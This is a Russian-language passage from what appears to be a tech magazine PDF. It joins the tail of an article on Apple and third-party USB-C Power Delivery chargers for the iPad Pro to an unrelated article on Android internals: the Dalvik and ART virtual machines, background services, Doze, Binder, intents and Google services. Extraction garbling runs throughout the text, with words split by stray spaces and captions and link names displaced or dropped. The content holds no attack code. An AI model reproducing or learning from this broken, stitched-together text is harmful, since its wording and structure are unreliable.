роны  это го  бло ка  питания —  исклю читель ный  под ход  к  безопас ности.  Этот
блок  ни  при  каких  обсто ятель ствах  не  загорит ся  и  не  пов редит  устрой ство,
к которо му его под клю чают. Туда встро ено столь ко раз нооб разных защит ных
механиз мов,  что  они  занима ют  боль шую  часть  объ ема  заряд ки.  КПД
и  эффектив ность  —  зап редель ные;  этот  БП  прак тичес ки  не  гре ется  даже
при отда че пол ной пас пор тной мощ ности. Я тес тировал два заряд ных устрой‐ 
ства  —  кло на  ЗУ  от  Apple  (одно  сов сем  безымян ное,  вто рое  под  мар кой
Auckly  —  не  путать  с  Aukey,  45‐ват тный  блок  которой  так же  тес тировал ся
и  так же  не  зарабо тал);  силь ный  наг рев  и  высоко час тотный  писк  —  лишь
самое начало проб лем.

Эти бло ки питания не заряжа ют iPad Pro (ток 0,5 А при нап ряжении 5 В).

А этот — заряжа ет  (про филь USB PD, но: силь ный наг рев, высоко час тотный
писк, внут ри что‐то перека тыва ется).

В  ЗУ  от  Apple  уста нов лен  «умный»  кон трол лер,  который  может  не  толь ко
получать  дан ные  от  под клю чен ного  устрой ства,  но  и  обно вить  собс твен ную
про шив ку,  а  в  теории  еще  и  пош пионить  за  поль зовате лем.  Единс твен ное
подоб ное  решение  —  штат ное  ЗУ  от  пос ледне го  Google  Pixelbook  2017.
И  пос леднее.  В  Apple  исполь зуют  рас ширение  спе цифи кации  Power
Delivery  —  «кас томные  про токо лы»:  USB  PD  не  опре деля ет  про филь
на 14,5 В (есть толь ко 15 В), а имен но по это му про филю дол жны заряжать ся
iPad Pro 10.5, 12.9 и 12.9 (2017).

Ес ли  бы  Apple  выпус тила  блок  питания  такого  качес тва,  но  соот ветс тву‐ 
ющий стан дарту USB Power Delivery, за него не жал ко было бы любых денег,
а кон курен там оста лось бы тихо уйти с рын ка. К сожале нию, 29‐ват тный блок
питания  Apple  опре деля ет  лишь  сле дующие  про фили:  14,5  В  /  2  А  (рас‐ 
ширение  USB‐PD)  и  5,2  В  /  2,4  А  (с  какой  сто роны  это  отно сит ся  к  стан‐ 
дарту — загад ка).

Проб лема  не  толь ко  в  ста рень ком  БП  на  29  Вт,  который  был  «grandfa‐
thered» кон сорци умом USB‐IF в знак ува жения к одно му из родона чаль ников
стан дарта PD. Проб лема в том, что у Apple (см. выше про «одно го из родона‐ 
чаль ников»)  нет  ни  одно го  (!)  заряд ного  устрой ства,  которое  соот ветс тво‐ 
вало бы стан дарту USB Power Delivery, — и это при том, что работа ют все ЗУ
от  Apple  (с  выходом  USB‐C)  исклю читель но  в  соот ветс твии  с  бук вой  стан‐ 
дарта! Да‐да, даже устрой ство 29 Вт, в котором нет ни одно го стан дар тно го
про филя  USB  Power  Delivery,  выпол нено  в  бук валь ном  соот ветс твии  стан‐ 
дарту!  Как  это  воз можно?  В  Apple  решили  исполь зовать  собс твен ное  рас‐ 
ширение стан дарта — допол нитель ный про филь Power Delivery, который чет‐ 
ко  опре деля ется  сог ласно  рас ширению  стан дарта  PD  custom  charging.
Получи лось совер шенно изу митель но: заряд ное устрой ство, пол ностью соот‐ 
ветс тву ющее  (сущес тво вав шему  в  момент  выхода)  стан дарту  —  но  тол ком
не сов мести мое ни с одним устрой ством, кро ме собс твен но Apple.

Что это озна чает на прак тике? Заряд кой Apple на 61 Вт или 87 Вт ты смо‐ 
жешь  заряжать  iPad  Pro  10.5,  но  заряжать ся  он  будет  МЕД ЛЕННО!  А  вот
от заряд ки на 29 Вт — быс тро. Почему? Потому что в тех, что на 61 Вт и 87 Вт,
отсутс тву ет нуж ный про филь PD (14,5 В / 2 А), а в той, что на 29 Вт, — при‐ 
сутс тву ет. Это не было кри мина лом, ког да стан дарт PD толь ко выходил, но на
сегод няшний день пред став ляет собой наруше ние пос ледней ревизии стан‐ 
дарта (по стан дарту PD, все заряд ки с боль шей мощ ностью дол жны обла дать
все ми про филя ми зарядок с мень шей мощ ностью — на прак тике это не соб‐ 
люда ется).

Как это работа ет? Возь мем заряд ное устрой ство Apple с выход ной мощ‐ 
ностью  61  Вт.  Устрой ство  под держи вает  сле дующие  про фили:  20,3  В  —  3
A (USB PD), 9 В — 3 A (USB PD), 5,2 В — 2,4 A. В USB PD в качес тве стан дар‐ 
тных про филей про писа ны 5 В / 3 А, 9 В / 3 А, 15 В / 3 А, 20 В / 3 А. Замеча ешь
несо ответс твие? Тре бова ние стан дарта про исте кает из прос той логики: если
поль зователь  покупа ет  более  мощ ное  заряд ное  устрой ство,  то  он  смо жет
с  его  помощью  заряжать  ВСЕ  устрой ства,  которые  тре буют  мень шей  мощ‐ 
ности, — и не задумы вать ся о  том, какое нап ряжение и сила тока для это го
нуж ны. Логич но?

Нет! У Apple дру гая логика: все дол жно быть прос то и понят но и работать
«одним  кли ком». По  «однокли ковой»  логике Apple,  име ется  сле дующая мат‐ 
рица  того,  как  имен но  и  с  какой  ско ростью  будет  заряжать ся  iPad  Pro
10.5 и iPad Pro 12.9 (2017) от раз ных ЗУ:

ком плектная заряд ка (выход USB‐A): 12 Вт (5 В / 2,4 A);•
сто рон ние  бло ки  питания  USB‐C  PD:  18  Вт  (9  В  /  2  А),  но  сра баты вает
через  раз  из‐за  того,  что  Apple  исполь зует  ряд  нес тандар тных  решений
(там некото рый бар дак в элек три чес кой час ти, свя зан ный с обратной сов‐ 
мести мостью);

•

блок Apple 29W: 29 Вт (по про филю 14,5 В / 2 А);•
бло ки  Apple  61W,  87W:  18  Вт  (по  про филю  9  В  /  2  А,  так  как  про филя
на 14,5 или 15 В в них прос то нет).

•

Та ким обра зом, для  любого поль зовате ля пос ледних моделей  iPad Pro дол‐ 
жно быть совер шенно оче вид но, что 29 Вт — это 29 Вт, а 61 или 87 — это 18.

Ви шен ка на тор те: на сай те самой Apple в качес тве ЗУ, под держи вающих
быс трую заряд ку для iPad Pro 10.5, перечис лены все три — на 29, 61 и 87 Вт.

На то, что бы получить эту информа цию, я убил три вечера чте ния исклю‐ 
читель но тех ничес ких форумов. Навер ное, моя логика работа ет как‐то не так.

И СНОВА О ПРОПРИЕТАРНЫХ СТАНДАРТАХ
Так что же получа ется, откры тый стан дарт USB Power Delivery — зло, раз уж
ник то,  даже  почет ные  чле ны  кон сорци ума,  не  в  сос тоянии  выпус тить  пол‐ 
ностью сов мести мые устрой ства?

Ни чуть. Проб лема здесь имен но в проп риетар ных стан дартах. Устрой ства
под управле нием iOS исполь зуют зак рытый разъ ем Lightning. Каким обра зом
сде лана  ком мутация  это го  (ста рого  уже  по  сов ремен ным  мер кам)  разъ ема
с  сов ремен ным  стан дартом  USB‐C?  По  сути,  в  фир менный шнур  USB‐C —
Lightning встро ен переход ник с USB‐C на USB‐A, пос ле чего, что называ ется,
«задача решена». Но ведь хочет ся заряжать ся быс трее, при чем по стан дарту
USB PD, который не дол жен работать поверх USB‐A! Как обыч но, в Apple пош‐ 
ли  сво им  путем  и  в  кабель  USB‐C  —  Lightning  встро или  абсо лют но  проп‐ 
риетар ный кон трол лер,  который и догова рива ется с заряд ным устрой ством.
При этом кон трол лер огра ничи вает мак сималь ный переда ваемый по кабелю
ток зна чени ем 2 А.

Даль ше —  боль ше.  Ска зать,  что  iPad  Pro  10.5  сов сем  не  под держи вает
заряд ные устрой ства USB PD, нель зя: догова рива ются о нап ряжении и  токе
заряда устрой ства имен но по это му про токо лу. Но... в спе цифи кации USB PD
отсутс тву ет  про филь  с  нап ряжени ем  14,5  В!  Соот ветс твен но,  в  заряд ных
устрой ствах не Apple его прос то нет (точ нее, не дол жно быть)!

Даль ше  мы  всту паем  на  тон кий  лед  спе куля ций,  собирая  по  кру пицам
информа цию,  которой  делились  поль зовате ли.  Соз дает ся  впе чат ление,  что
до iOS 11.0.2 вклю читель но в Apple зак рывали гла за на не сов сем соот ветс‐ 
тву ющее  нап ряжение  заряда  и  сог лашались  заряжать ся  от  стан дар тно го
для USB PD про филя 15 В  / 2 A  (фак тичес ки пот ребляя 14,8 В  / 1,95 A сог‐ 
ласно отче там иссле дова телей). Потом эту воз можность отклю чили, оста вив
PD толь ко с фир менной заряд кой Apple, при чем толь ко и исклю читель но ЗУ
Apple на 29 Вт.

И наконец, похоже, что в  iOS 11.2 вклю чили обратно про филь PD на 9 В:
теперь  устрой ство  сог лаша ется  заряжать ся  по  про токо лу  USB  PD  по  про‐ 
филю с нап ряжени ем 9 В (но с огра ниче нием силы тока 2 А). Таким обра зом,
сто рон ние ЗУ, выпол ненные в пол ном соот ветс твии спе цифи кации USB Pow‐
er  Delivery,  спо соб ны  заряжать  новые  iPad  Pro  с  мак сималь ной  мощ‐ 
ностью 18 Вт, а ЗУ Apple 29 Вт — на пол ной мощ ности по про филю 14,5 В /
2 А.

КИТАЙ ПРОТИВ ПРОПРИЕТАРНЫХ СТАНДАРТОВ
На самом деле тот ужас, который тво рит Apple, — это цве точ ки. Apple хотя бы
при дер жива ется бук вы стан дар тно го про токо ла. То, что выпус кают китай ские
про изво дите ли,  вооб ще за пре дела ми доб ра и зла. Так, на  кон тактах D+/D‐
китай ских ЗУ может быть нап ряжение  (что бы общать ся по про токо лам «ста‐ 
рого» Apple и Quick Charge); из‐за это го, в час тнос ти, при попыт ке заряжать
такими бло ками питания план шет iPad Pro 10.5 устрой ство пос чита ет, что оно
под клю чено не к ЗУ, а к компь юте ру, и заряжать ся будет током 0,5 А — то есть
вооб ще прак тичес ки не будет заряжать ся, с его‐то акку муля тором.

А зна ешь ли ты?..
А извес тно ли тебе, что устрой ства Apple точ но иден тифици руют под клю чен‐ 
ное  заряд ное  устрой ство?  Что  iPad,  что  Macbook  раз лича ют  фир менные
заряд ки  Apple;  заряд ки,  которые  под делыва ются  под  фир менные  ЗУ  Apple;
сто рон ние ЗУ, соот ветс тву ющие про токо лу PD, и сто рон ние ЗУ, выпол ненные
с  наруше ниями  про токо ла.  Соот ветс твен но,  в  каж дом  кон крет ном  слу чае
устрой ство может выб рать, по какому про филю оно будет заряжать ся.

ВЫВОДЫ
Ка кие выводы мож но сде лать из ситу ации с заряд ными устрой ства ми? Вывод
о  том,  что  Apple  раз вела  на  ров ном мес те  жут кий  бар дак,  я  оставлю  в  сто‐ 
роне.

С  iPhone  8,  8  Plus  и  X  идут  клас сичес кие  адап теры  на  1  А  клас са  «выб‐ 
росить  вмес те  с  короб кой»,  которые  спо соб ны  заряжать  устрой ства  мощ‐ 
ностью  5  Вт.  С  iPad  и  iPad  Pro  уже  луч ше  —  там  пос тавля ется  блок
питания 12 Вт, но исклю читель но потому, что от стан дар тно го бло ка на 5 Вт
устрой ство  не  ста нет  заряжать ся  сов сем.  Заряжа ют  эти  бло ки  питания
с парамет рами 5 В / 2,4 А.

Блок питания на 29 Вт идет в ком плек те с Macbook (12"), но мож но купить
и  отдель но  (и  за  немалень кие  день ги).  Еще  пот ребу ется  кабель  USB‐C  —
Lightning, который тоже сто ит уди витель ных денег.

Вы вод о  том,  что Apple — исклю читель но жад ная  ком пания,  положив шая
неадек ватные бло ки питания в ком плект с iPad Pro 10.5, 12.9, а так же iPhone 8,
8 Plus  и  X,  я  тоже  делать  не буду:  желание  ком пании  зарабо тать  на  каж дой
мелочи дав но извес тно.

Пра виль ный вывод:  для  заряд ки  iPad Pro 10.5 и 12.9  (2017),  а  так же пос‐ 
ледне го  поколе ния  iPhone  нуж но  покупать  БП  Apple  на  29  Вт.  А  вот
iPad 12.9 пер вого поколе ния (2015 года) прек расно заряжа ется от сто рон них
зарядок, вклю чая заряд ку от Xiaomi по про филю 15 В / 2 А!
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Су щес тву ет  как  минимум  пять  тех нологий,  которые  дела ют
Android имен но тем, чем мы при вык ли его видеть: вир туаль‐ 
ная  машина,  сис тема  мно гоза дач ности,  сер висы  Google,
IPC‐механизм Binder и ядро Linux. Каж дая из этих под систем
име ет  свою  исто рию  раз вития,  свои  при чины  появ ления
и  наделя ет  Android  при сущи ми  ему  широки ми  воз можнос‐ 
тями.  Мы  в  под робнос тях  погово рим  о  каж дой  из  них
и  покажем,  почему  Android —  это  неч то  гораз до  боль шее,
чем мобиль ная ОС.

ВИРТУАЛЬНАЯ МАШИНА
При нято счи тать, что в осно ве Android лежит Java. Дес кать, имен но поэто му
ОС  такая  тре бова тель ная  к  про цес сору  и  опе ратив ной  памяти.  На  самом
деле все нам ного слож нее. Java (а теперь и Kotlin) — это дей стви тель но офи‐ 
циаль ный язык Android. Но Java — это не толь ко язык, но и сре да исполне ния.

В  слу чае  обыч ной  Java,  раз работан ной  ком пани ей  Sun  (теперь  уже
Oracle), при ложе ния ком пилиру ются в спе циаль ный про межу точ ный байт‐код,
который  затем  исполня ет  вир туаль ная  машина.  Самые  ран ние  вер сии  вир‐ 
туаль ной машины делали это путем интер пре тации: ВМ читала байт‐код, ана‐ 
лизи рова ла записан ные в нем инс трук ции и исполня ла их.

Это мед ленный метод исполне ния (на каж дую инс трук цию ВМ мог ли ухо‐ 
дить десят ки и сот ни машин ных инс трук ций),  поэто му поз днее появил ся  так
называ емый JIT‐ком пилятор (Just In Time compiler). С его помощью вир туаль‐ 
ная машина мог ла на лету перего нять байт‐код в машин ные инс трук ции, что
сущес твен но  под няло  ско рость  его  исполне ния,  но  повыси ло  рас ход  опе‐ 
ратив ной  памяти:  в  памяти  теперь  необ ходимо  хра нить  не  толь ко  байт‐код,
но и получен ные из него машин ные инс трук ции плюс метадан ные, поз воля‐ 
ющие выпол нять опти миза ции.

Кро ме того, при раз работ ке вир туаль ной машины Джей мс Гос линг решил
исполь зовать  сте ковый дизайн  вир туаль ной машины,  как  прос той  и  уни вер‐ 
саль ный.  Но  сущес тву ет  более  эффектив ный  в  ско рос ти  исполне ния
байт‐кода  и  пот ребле ния  опе ратив ной  памяти  дизайн  вир туаль ной
машины — регис тро вый.

Имен но  такая  регис тро вая  вир туаль ная  машина  (под  наз вани ем  Dalvik)
исполь зовалась  в  пер вых  вер сиях  Android.  Бла года ря  отсутс твию  JIT‐ком‐ 
пилято ра она была очень нет ребова тель ной к опе ратив ной памяти, а регис‐ 
тро вый  дизайн  поз волял  исполнять  при ложе ния  дос таточ но  быс тро  даже
в режиме интер пре тации.

Сре да раз работ ки Android ком пилиру ет код Java в байт‐код JVM,
но затем кон верти рует его в байт‐код Dalvik

Од нако  в  Android  2.2  Google  все‐таки  реали зова ла  JIT‐ком пилятор  и  дол го
хвас талась  гра фика ми  мно гок ратно го  при рос та  про изво дитель нос ти.
На  деле  же  ско рость  воз росла  нез начитель но,  все  самые  тре бова тель ные
к ресур сам API Android и так были реали зова ны на C++, который исполнял ся
нап рямую на про цес соре. Поч ти все тяжело вес ные игры так же исполь зовали
код на C/C++ и дру гих ком пилиру емых в машин ные инс трук ции язы ках.

В  Android  5.0  Google  пош ла  еще  даль ше  и  замени ла  Dalvik  на  AOT‐ком‐ 
пилятор  (Ahead  Of  Time  compiler)  под  наз вани ем  ART.  В  теории  такой  ком‐ 
пилятор  поз воля ет  изба вить ся  от  вир туаль ной  машины  как  сущ ности
и перево дить  при ложе ние  в машин ные инс трук ции еще на  эта пе  уста нов ки.
На деле же получа лось  так,  что не  весь байт‐код мож но было одним махом
скон верти ровать  в  инс трук ции  про цес сора,  и  резуль тиру ющий  код  мог
содер жать как машин ные инс трук ции, так и байт‐код ста рого доб рого Dalvik.
И со всей этой мешани ной про дол жала раз бирать ся вир туаль ная машина.

AOT‐ком пилятор так же про игры вал JIT‐ком пилято ру в воз можнос тях опти‐ 
миза ции  машин ного  кода.  У  него  прос то  не  было  дос таточ но  информа ции
о  поведе нии  при ложе ния  и  осо бен ностях  его  работы;  ее  мож но  было
получить, толь ко запус тив при ложе ние. И он сущес твен но замед лял уста нов ку
при ложе ний и пер вый запуск опе раци онной сис темы.

Что бы это испра вить, в Android 7 Google решила исполь зовать гиб ридный
JIT/AOT‐ком пилятор.  Сра зу  пос ле  уста нов ки  при ложе ние  исполня ется
с исполь зовани ем JIT‐ком пилято ра, но во вре мя работы от заряд ки смар тфон
перего няет при ложе ние в машин ные инс трук ции с помощью AOT‐ком пилято‐ 
ра, который может учи тывать информа цию, накоп ленную в про цесс исполне‐ 
ния при ложе ния.

А  теперь  воп рос:  зачем  Google  нуж ны  были  все  эти  замороч ки  с  Java
и вир туаль ными машина ми, ког да мож но было пой ти по пути Apple и исполь‐ 
зовать  обыч ный,  ком пилиру емый  в  машин ные  инс трук ции  язык,  который
не стра дает от проб лем с жором опе ратив ки и про изво дитель нос ти?

От ветов на этот воп рос как минимум два.
1.  . Пом нишь сло ган Java: «Написа но однажды — работа ет
вез де»?  А  ведь  это  не  мар кетин говый  бул шит,  это  чис тая  прав да.  Ты
можешь  ска чать  любое  ког да‐либо  написан ное  на  Java  при ложе ние
и запус тить его на любой пол ноцен ной вир туаль ной машине Java незави‐ 
симо  от  опе раци онной  сис темы,  архи тек туры  про цес сора  и  фазы  луны.
Оно прос то работа ет.

Пор табель ность

Тем же прин ципом руководс тво вались раз работ чики Android. Неваж но,
на  каком  про цес соре  осно ван  смар тфон,  неваж но,  смар тфон  это  или
телеви зор. При ложе ние,  написан ное  для  Android,  будет  на  нем работать
без  вся ких  переком пиляций  и  модифи каций  (если,  конеч но,  оно
не исполь зует машин ный код на C/C++).

Ма ло  того — раз работ чику даже не нуж но задумы вать ся о под дер жке
более  эффектив ных  инс трук ций,  появив шихся  в  новых  про цес сорах,
за него это сде лает вир туаль ная машина.

2.  .  Java — это высоко уров невый язык со сбор щиком мусора,
не  поз воля ющий  адре совать  память  нап рямую  и  не  тре бующий  самос‐ 
тоятель ного  осво бож дения  выделен ной  памяти.  Это  зна чит,  что  мно гие
типы  атак,  вклю чая  buffer  overflow  и  use  after  free,  про тив  при ложе ний
на  Java  не  могут  быть  реали зова ны.  В  край нем  слу чае  вир туаль ная
машина  прос то  убь ет  при ложе ние  (как  это  неред ко  про исхо дит
при  выходе  за  гра ницы  мас сива,  нап ример).  Имен но  поэто му  в  Android
в целом находят мень ше уяз вимос тей,  чем в  iOS, пол ностью написан ной
на  небезо пас ных  язы ках  C,  C++  и  Objective‐C.  И  это  одна  из  при чин,
почему  Apple  понадо бил ся  язык  Swift,  на  котором  она  начала  перепи‐ 
сывать ком понен ты ОС и сто ковые при ложе ния.

На деж ность

3.  . Java — один из самых популяр ных язы ков в мире, поэто‐ 
му у Android‐раз работ чиков изна чаль но был дос туп к огромно му количес‐ 
тву  Java‐биб лиотек  и  снип петов,  кода,  которые  мож но  задей ство вать
в при ложе нии.

По пуляр ность

Под водя итог: Java и вир туаль ная машина были пра виль ным выбором. И хотя
сей час  набира ет  обо роты  язык  Kotlin,  он  пол ностью  сов местим  с  Java
на  уров не  байт‐кода.  А  это  зна чит,  что  для  его  под дер жки  на  сто роне  ОС
не нуж но делать ничего. При ложе ния прос то работа ют.

МНОГОЗАДАЧНОСТЬ
Те,  кто  исполь зует  iPhone  дав но,  зна ют,  как  работа ли  ран ние  вер сии  iOS.
Фак тичес ки  это  была  одно задач ная  опе раци онка,  которая  поз воляла
работать в фоне или пре рывать работу текуще го при ложе ния толь ко пре дус‐ 
танов ленным при ложе ниям:  ты чита ешь книж ку,  тебе зво нят — кни гочи тал ка
сво рачи вает ся, и на экра не появ ляет ся окно звон ка. А вот обратная опе рация
невоз можна:  кни гочи тал ка  не  толь ко  не может  прер вать  работу  дру гих  при‐ 
ложе ний, но и будет уби та сра зу пос ле сво рачи вания.

Смысл  сущес тво вания  такой  сис темы,  конеч но  же,  в  том,  что бы  сэконо‐ 
мить про цес сор, опе ратив ную память, а так же ресурс батареи. Бла года ря ей
(но не толь ко) iPhone мог работать быс тро в усло виях огра ничен ных ресур сов
и очень береж но отно сил ся к батарее.

Android  всег да  работал  ина че.  Здесь  мож но  запус тить  мно жес тво  раз‐ 
личных  при ложе ний  и  все  они  будут  оста вать ся  в  памяти  и  даже  смо гут
работать в фоне. Ты откры ваешь бра узер, вво дишь адрес и, пока заг ружа ется
стра ница, запус каешь поч товый кли ент и чита ешь пись ма. Все как на дес кто‐ 
пе, с тем исклю чени ем, что тебе не нуж но заботить ся о зак рытии при ложе ний,
сис тема сде лает это сама, ког да опе ратив ная память подой дет к кон цу или ее
не хва тит для раз мещения запус каемо го при ложе ния (само собой, в пер вую
оче редь  в  рас ход  пой дут  ред ко  исполь зуемые  при ложе ния). Этот механизм
называ ется lowmemorykiller.

Имея пра ва root, нас трой ки lowmemorykiller мож но регули ровать нап‐ 
рямую или с помощью спе циаль ных при ложе ний

Важ ным  эле мен том  сис темы  мно гоза дач ности  были  служ бы  (service).
Это осо бые ком понен ты при ложе ний, которые мог ли работать в фоне абсо‐ 
лют но в любых усло виях: вклю чен экран или вык лючен, свер нуто при ложе ние
или раз верну то, служ бам пле вать даже на то, запуще но ли родитель ское при‐ 
ложе ние  вооб ще.  Оно  прос то  говори ло:  «Эй,  Android,  мне  нуж ны  ресур сы
про цес сора, я  хочу сде лать некото рые рас четы» — и получа ло эти ресур сы.
В тер миноло гии Android такой зап рос к сис теме называ ется wakelock (а если
точ нее — про цес сорный wakelock).

Од нако  под дер жка  такого  мощ ного  и  полез ного  инс тру мен та  сыг рала
с Google злую шут ку. Появи лось огромное количес тво при ложе ний, которые
пло дили  служ бы  на  каж дый  чих,  пос тоян но  выпол няли  какую‐то  работу  и  не
давали  смар тфо ну  спать.  Уста новив  на  смар тфон  сот ню  при ложе ний,  поль‐ 
зователь получал нес коль ко десят ков служб, каж дая из которых пери оди чес ки
что‐то делала (обно вить лен ту твит тера, пока телефон спит, — это же так важ‐ 
но).

Де ла  обсто яли  нас толь ко  пла чев но,  что  китай ские  про изво дите ли,
не обре менен ные задачей сох ранить сов мести мость с ори гиналь ным Android
(это  тре бует ся,  если  хочешь  уста нав ливать  на  свои  смар тфо ны  Play  Store),
прос то отклю чили в сво их смар тфо нах механиз мы под держа ния жиз ненно го
цик ла служб для несис темных при ложе ний.

Прод винутые юзе ры шли дру гим путем: они получа ли пра ва root и уста нав‐ 
ливали  при ложе ние  ,  которое  поз воляло  заморо зить  служ бы  выб‐ 
ранных при ложе ний так, что бы их уже ник то не смог раз будить. Сущес тво вали
и более радикаль ные вари анты, нап ример снес ти весь софт, которым поль‐ 
зуешь ся реже одно го раза в сут ки.

Greenify

Са ма Google  так же  пред при нима ла  опре делен ные  дей ствия  для  борь бы
с «ядо виты ми» служ бами. Боль шой шаг в этом нап равле нии был сде лан в An‐
droid  4.4,  где  появил ся  интеллек туаль ный  механизм,  который  опре делял,
не  работа ет  ли  служ ба  слиш ком  мно го  вре мени  и  не  силь но  ли  она  гру зит
про цес сор,  и,  если  это  ока зыва лось  так,  при бивал  ее  на  мес те  и  не  давал
запус тить ся.  Даже  на  повер хностный  взгляд  эта  вер сия  сис темы  жила
на батарей ке замет но доль ше пре дыду щих.

В Android 6.0 Google пош ла еще даль ше и оснасти ла ее механиз мом  ,
который  пос ле  опре делен ного  вре мени  неак тивнос ти  смар тфо на  (око ло
одно го  часа)  перево дил  его  в  спе циаль ный  энер госбе рега ющий  режим.
Одна из осо бен ностей это го режима — зап рет на wakelock, то есть ни при‐ 
ложе ния,  ни  служ бы прос то не могут раз будить  смар тфон,  что бы выпол нить
какую‐либо работу. На глаз Android 6.0 не стал жить доль ше, так что неиз вес‐ 
тно, сра ботал ли этот механизм вооб ще.

Doze

Шка ла работы Doze

И  наконец,  в  Android  8.0  Google  пош ла  на  радикаль ный  шаг  —  зап ретила
работу фоновых служб. Но с дву мя исклю чени ями:
1. При ложе ние в некото рых слу чаях, нап ример ког да оно находит ся на экра‐ 
не, может запус кать служ бы, но Android прибь ет их пос ле ухо да при ложе‐ 
ния в сон.

2. Ви димые  поль зовате лю  служ бы  до  сих  пор  раз решены.  Это  так  называ‐ 
емый  foreground  service,  служ ба,  которая  вид на  в  панели  уве дом лений
и име ет икон ку в ста тус баре.

Ка залось бы, да, служ бы — это зло, но как теперь быть таким при ложе ниям,
как про тиво угон ное, которое дол жно работать незамет но в фоне? Или тот же
поч товый  кли ент?  Из‐за  необ ходимос ти  пери оди чес ки  про верять  поч ту  он
дол жен висеть в панели уве дом лений?

На  самом  деле  нет.  Google  шла  к  зап рету  служб  еще  с  вер сии  5.0,  где
появил ся  так  называ емый  JobScheduler.  Это  спе циаль ная  под систе ма,
которая  поз воля ет  при ложе ниям  поп росить  Android  выпол нить  ту  или  иную
работу в такое‐то вре мя или при воз никно вении такого‐то события (под клю‐ 
чение  к  интерне ту,  нап ример).  И  да,  JobScheduler  силь но  напоми нает  ана‐ 
логич ную фун кцию из iOS.

BINDER
Воп реки  рас хожему  мне нию,  Android  с  самых  пер вых  вер сий  исполь зовал
песоч ницы для изо ляции при ложе ний. И реали зова ны они были весь ма инте‐ 
рес ным  обра зом.  Каж дое  при ложе ние  запус калось  от  име ни  отдель ного
поль зовате ля Linux и, таким обра зом, име ло дос туп толь ко к сво ему катало гу
внут ри  ./data/data

Друг  с  дру гом  и  с  опе раци онной  сис темой  при ложе ния мог ли  общать ся
толь ко через IPC‐механизм Binder, который тре бовал авто риза ции на выпол‐ 
нение того или ино го дей ствия. Этот же механизм исполь зовал ся и для нес‐ 
коль ко дру гих целей: с его помощью сис тема опо веща ла при ложе ния о сис‐ 
темных  событи ях,  таких  как  вхо дящий  вызов,  при шед шее  СМС,  вты кание
заряд ки и так далее. При ложе ния получа ли сооб щения и мог ли на них отре‐ 
аги ровать.

Ра боту Binder обес печива ют драй вер в ядре Linux и Service Manager

Эта  осо бен ность  дала  Android  очень широкие  воз можнос ти  авто мати зации,
о  которых  мы  зна ем  бла года ря  таким  при ложе ниям,  как  Tasker,  Automate
или Locale. Все эти при ложе ния дос тупны и для Android 8, раз ве что некото‐ 
рые опас ные воз можнос ти, такие как вклю чение/вык лючение режима полета,
теперь зап рещены для исполь зования обыч ными при ложе ниями.

Сис тема  опо веще ния  базиру ется  на  интентах  (intent),  спе циаль ном
механиз ме,  реали зован ном  поверх  Binder  и  пред назна чен ном  для  обме на
информа цией меж ду при ложе ниями (или ОС и при ложе ниями), а так же запус‐ 
ка  ком понен тов  при ложе ний.  С  помощью  интентов  мож но  опо вещать  при‐ 
ложе ния о событи ях, поп росить сис тему открыть при ложе ние для обра бот ки
опре делен ных  типов  дан ных  (нап ример,  что бы  открыть  опре делен ную  стра‐ 
ницу в бра узе ре, дос таточ но пос лать широко веща тель ный интент со ссыл кой
на стра ницу,  и  на него отклик нутся  все при ложе ния,  спо соб ные отоб ражать
веб‐стра ницы, либо толь ко дефол товый бра узер) или прос то запус тить ком‐ 
понент  того или ино го при ложе ния. Нап ример, при ложе ния в Android запус‐ 
кают ся не нап рямую, а с помощью интентов.

К сожале нию, как и служ бы, интенты ста ли проб лемой для Google и поль‐ 
зовате лей  Android.  Дело  в  том,  что  широко веща тель ные  интенты,  исполь‐ 
зуемые  для  уве дом ления  при ложе ний  о  событи ях,  при ходят  сра зу  ко  всем
при ложе ниям,  которые  заяви ли,  что  спо соб ны  на  них  реаги ровать.  А  что бы
при ложе ние  смог ло  сре аги ровать  на  интент,  его  надо  запус тить.  Кар тина
получа ется  такая:  на  смар тфо не  есть  двад цать  при ложе ний,  которые  могут
реаги ровать на интент  , и при каж‐ 
дом под клю чении к сети и отклю чении от нее сис тема запус кает эти при ложе‐ 
ния, что бы они смог ли сре аги ровать на интент. Как это ска зыва ется на энер‐ 
гопот ребле нии — пред ставь сам.

android.net.conn.CONNECTIVITY_CHANGE

Google испра вила это недора зуме ние опять же в Android 8.0. Теперь при‐ 
ложе ния  могут  регис три ровать  обра бот чики  широко веща тель ных  интентов
толь ко во вре мя сво ей работы (за неболь шими исклю чени ями).

СЕРВИСЫ GOOGLE
Google  любит  бра виро вать  тем,  что  Android  —  опе раци онная  сис тема
с откры тым исходным  кодом. Это,  конеч но же,  не  сов сем  так. С одной  сто‐ 
роны, код Android дей стви тель но открыт, и имен но поэто му мы име ем дос туп
к такому количес тву раз нооб разных кас томных про шивок. С дру гой сто роны,
соб рав  Android  из  офи циаль ных  исходни ков,  ты  получишь  сис тему  без  нес‐ 
коль ких  важ ных  ком понен тов:  1)  отдель ных  драй веров,  исходни ки  которых
про изво дитель пря чет, как ком мерчес кую тай ну, 2) сер висов Google, которые
нуж ны  в  пер вую  оче редь  для  получе ния  дос тупа  к  акка унту,  запус ка  Google
Play и облачно го бэкапа.

Сер висы Google (Google Mobile Services) так же отве чают за мно гие дру гие
вещи, вклю чая под дер жку push‐уве дом лений, Instant Apps, Google Maps, дос‐ 
туп к кален дарю, опре деле ние мес тополо жения по сотовым выш кам и Wi‐Fi‐
роуте рам,  механизм  Smart  Lock,  поз воля ющий  раз бло киро вать  устрой ство
в зависи мос ти от некото рых усло вий.

В сов ремен ных вер сиях Android сер висы Google взя ли на себя нас толь ко
боль шую  часть  работы,  что  жить  без  них  ока зыва ется  хоть  и  воз можно,
но  очень  проб лематич но.  А  с  ними  тоже  невесе ло:  минималь ный  вари ант
пакета GApps (который содер жит толь ко сер висы Google и Google Play) весит
боль ше  120 Мбайт,  а  сами  сер висы  сла вят ся  сво ей  любовью  к  опе ратив ке
и  заряду  батареи.  А  еще  они  зак рыты,  то  есть  о  том,  что  они могут  делать,
зна ет толь ко сама Google.

Ска чать пакет с сер висами и при ложе ниями Google для кас томной про ‐
шив ки мож но с сай та opengapps.org (сло во open не озна чает, что они
откры ты)

Имен но  поэто му  на  свет  появил ся  про ект  ,  задача  которо го —  вос‐ 
создать самую важ ную фун кци ональ ность сер висов Google в откры том коде.
Уже  сей час microG  поз воля ет  получить  дос туп  к  сво ему  акка унту,  акти виро‐ 
вать push‐уве дом ления, дос туп  к  кар там Google и опре деле нию мес тополо‐ 
жения по сотовым выш кам. И все это при раз мере в четыре мега и поч ти пол‐ 
ном отсутс твии тре бова ний к опе ратив ке и ресур су батареи.

microG

